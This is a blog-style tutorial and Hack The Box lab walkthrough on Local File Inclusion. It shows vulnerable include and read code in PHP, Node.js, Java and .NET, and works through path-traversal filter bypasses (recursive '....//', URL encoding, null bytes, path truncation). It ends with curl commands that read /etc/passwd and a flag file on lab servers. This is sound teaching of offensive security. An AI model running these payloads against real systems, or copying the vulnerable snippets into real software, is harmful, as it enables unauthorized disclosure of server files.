

Intro to File Inclusion
Table of Contents
⚔️ Intro
Hey folks! Modern website tech-stacks often use HTTP parameters to
- enable dynamic web page builds
- reduce script sizes (on the client side)
- reduce server load
- simplify code
Often times, these parameters are not secured properly.
What if we could manipulate them to display the content of any local file on the hosting server?
This is what we refer to as Local File Inclusion. They can lead to source code disclosure, sensitive data exposure, and even remote code execution.
You load a page… you tweak the URL… and suddenly, you’re staring at /etc/passwd
. Welcome to the world of LFI.
LFI’s most common victims: templating engines
Ever seen a website’s URL end in /index.php?page=about
?
Most often in such cases, templating engines like Twig
or Jinja2
are used.
index.php
only holds static content (header, nav-bar, footer, etc.), the rest is pulled via the parameter - in this case maybe read from aabout.php
. Might we be able to grab a different file than about?
❌ NEVER combine a user-controlled parameter and PHP’s include
So often to this day, we see code like this:
if (isset($_GET['name'])) {
include($_GET['name']);
}
or maybe for language selection, user settings change, etc.
ALWAYS check: does the code explicitly and comprehensively filter and sanitize the user input?
If not –> File Inclusion babyy!
Other sinners in PHP
include_once()
require()
require_once()
file_get_contents()
and others can all have the same effect!
💡 Why care in 2025? Many legacy apps and hastily built admin panels still rely on dynamic includes — making LFI alive and well today.
🚩 Red flags in other languages and environments
🔍 Spotting LFI in Node.js
Example 1: File Read via Query Parameter
if (req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
🔍 What’s happening here?
- The app checks if a query parameter called
language
exists. - If it does, it uses
fs.readFile()
to read the file named in that parameter. - It joins the input directly with
__dirname
(current directory). - It then writes the content of the file to the HTTP response.
So, what if we did:
http://example.com/?language=../../../../etc/passwd
…the server will try to read that file relative to the app’s directory. This is a classic LFI vulnerability.
Example 2: LFI via Express render()
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
🔍 What’s happening here?
- The route handles URLs like
/about/en
,/about/de
, etc. - It takes the language part from the URL path and uses it to build a file path.
- Then it uses
res.render()
to render that HTML page from the directory.
If there’s no validation, we can again request:
/about/../../../../../etc/passwd
which might trick the server all the same.
🔍 Spotting LFI in Java
The same problem can be spotted in a Java web server - let’s look at Java Server Pages (JSP)
Example 1: Include with <jsp:include>
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
🔍 What’s happening here?
request.getParameter('language')
takes input from the URL.- That value is directly passed into the
include
function.
So same attack path:
/page.jsp?language=../../WEB-INF/web.xml
could include sensitive server files.
Example 2: Import with <c:import>
<c:import url="<%= request.getParameter('language') %>"/>
This again includes a file or external URL - it could be abused with e.g. ?language=../../somefile
.
🔍 Spotting LFI in .NET
For .NET web applications, the Response.WriteFile
function is very similar to all earlier examples:
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
🔍 What’s happening here?
- Takes a file path for input via
HttpContext.Request.Query[]
- Writes its content to the
Response
withResponse.WriteFile
Again, the path is retrieved via a GET parameter for dynamic content loading. Another dangerous one is:
@Html.Partial(HttpContext.Request.Query['language'])
Html.Partial()
can also be used ot render the specified file as part of the frontend template.
And then again, another classic:
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
What can we do with what we learned?
Some of the above only read content, others also execute specific files. Some even allow specifying remote URLs.
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include()/include_once() | ✅ | ✅ | ✅ |
require()/require_once() | ✅ | ✅ | ❌ |
file_get_contents() | ✅ | ❌ | ✅ |
fopen()/file() | ✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() | ✅ | ❌ | ❌ |
fs.sendFile() | ✅ | ❌ | ❌ |
res.render() | ✅ | ✅ | ❌ |
Java | |||
include | ✅ | ❌ | ❌ |
import | ✅ | ✅ | ✅ |
.NET | |||
@Html.Partial() | ✅ | ❌ | ❌ |
@Html.RemotePartial() | ✅ | ❌ | ✅ |
Response.WriteFile() | ✅ | ❌ | ❌ |
include | ✅ | ✅ | ✅ |
This table is from HTB Academy - a great learning platform, if you use it on the side and keep up practicing!
🧪 Basic LFI in practice
On this HTB-training-site, we can swap the language parameter between english and spanish:
http://94.237.58.73:57686/index.php?language=es.php
#and
http://94.237.58.73:57686/index.php?language=en.php
Oh look, who’s Barry?
The same way they let us retrieve a small flag.
🧠 What I Wish They Let Me Try
Second-Order Local File Inclusion occurs when the vulnerable path is not taken directly from user input, but rather from a value previously stored (e.g., in a database).
This is still common, developers often trust values that come from their database unchecked.
So it would’ve been fun having a register site and registring with username = '../../../etc/passwd'
and then utilizing some function like:
include("/profile/$username/avatar.png");
- the app would end up including:
/profile/../../../etc/passwd/avatar.png → resolved to /etc/passwd
🛠️ Basic Bypasses
🎭 Being a bit creative
$language = str_replace('../', '', $_GET['language']);
Oh no, our EVIL MASTERPLAN has been ruined! ../
is rendered out of the query.
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
#becomes
http://<SERVER_IP>:<PORT>/index.php?language=./languages/etc/passwd
😈 Luckily for us, that filter isn’t recursive — so sneaky inputs like ....//
still decode to ../
- Path traversal lives!
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
still does the job.. just as ..././
or ....\/
and several other recursive LFI payloads.
In some cases escaping the forward slash character may also work to avoid path traversal filters - like
....\/
or adding extra forward slashes (e.g.....////
)
URL Encoding might also help
A URL Encoder
(On your attacker box just use the Burp Decoder) could also assist you encoding your payload -
this would help you against the site filtering .
or /
out of your payload.
Sometimes, also double encoding might help to bypass other types of filters.. let’s see in which future post we encounter that again.
☕ Fuel The Forge
🔥 This post was crafted over many sessions of trial, failure, and payload alchemy.
If it helped you level up your LFI skills — consider throwing a coffee into the furnace:
🛠 Your support powers future walkthroughs, tool scripts, and late-night exploit builds.
🔍 Regex Filter Bypass
Some web applications use Regular Expressions (Regex) to restrict which file paths can be included — usually limiting them to a specific directory.
if (preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
This Regex expression only allows paths that start with ./languages/
- for example: ./languages/en.php
or ./languages/es.php
To bypass this regex, attackers can start with the approved path, then use path traversal (../) to escape it:
./languages/../../../../etc/passwd
Bypassing Appended Extensions
Some web apps automatically append a file extension (e.g., .php
) to user input when including files:
include($_GET['language'] . '.php');
This restricts LFI payloads to files ending in .php
.
Possible Bypass 1: Path Truncation (Legacy PHP <5.3/5.4)
PHP had a string length limit (≈4096 characters), if the final file path exceeded that limit, the .php extension could get cut off.
Payload idea:
?language=non_existing_dir/../../../etc/passwd/./././././././././. [~2048 times]
Automated:
echo -n "non_existing_dir/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
The long path gets truncated before
.php
is appended. PHP then resolves the path to/etc/passwd
. ⚠️ Only works on old PHP versions and wheninclude()
is used.
Possible Bypass 2: Null Byte Injection (%00
) (PHP <5.5)
PHP (like C) used to treat %00
(null byte) as the end of a string - anything after %00
was ignored.
This tricked the engine into dropping .php
, even if appended.
?language=/etc/passwd%00
The app sees /etc/passwd%00.php
- but PHP only reads /etc/passwd
.
🧨 HTB Filter Bypass Puzzle
This challenge combines multiple bypasses - let’s see what we can do about that.
http://94.237.123.14:40988/index.php?language=languages%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
gave us nothing, but with ./language/...
it was “Illegal path specified.”
Then lets encode:
languages/....//....//....//....//....//etc\/passwd
to
languages%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%5C%2Fpasswd
Doesn’t work, but the regular functionality definitely wants us to stay in languages/
.
What we also know:
- The app seems to filter
../
likely with something like:
str_replace('../', '', $_GET['language']);
- The app checks for regex (so we stay in our path):
preg_match('/^\.\/languages\/.+$/', ...)
It may also append .php
behind the scenes..
The app may block raw .
or /
, but might miss encoded characters like:
%2e = .
%2f = /
That way we could build a long traversal string with encoded segments like:
languages%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2f%2e%2f%2e%2f%2e%2f... [repeat]
Then use a loop to automate:
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1500}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt
Then paste that full URL as our payload:
PAYLOAD=$(cat payload.txt)
curl "http://<TARGET_IP>:<PORT>/index.php?language=$PAYLOAD"
curl "http://94.237.123.14:40988/index.php?language=$PAYLOAD"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>414 Request-URI Too Long</title>
</head><body>
<h1>Request-URI Too Long</h1>
<p>The requested URL's length exceeds the capacity
limit for this server.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 192.168.59.203 Port 80</address>
</body></html>
a bit too long, let’s go with:
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt
yet the answer is still completely normal..
let’s try something different..
- Replace
../
with....////
- URL-encode everything, including slashes
- Keep payload within ~8000 character limit
- Target PHP truncation (~4096 bytes of path)
- Use languages/ prefix to bypass regex
echo -n "languages/....////....////....////....////etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "./" >> payload.txt; done && echo "" >> payload.txt
Now, we URL-encode:
cat payload.txt | jq -sRr @uri
Seems too much - does not work.
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fetc%2Fpasswd
WORKS!
So let’s do:
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fflag.txt
BAM! Worked!
Tried a similar bypass that worked differently? DM me anywhere (my platforms are all linked here) — the Forge always welcomes new fire.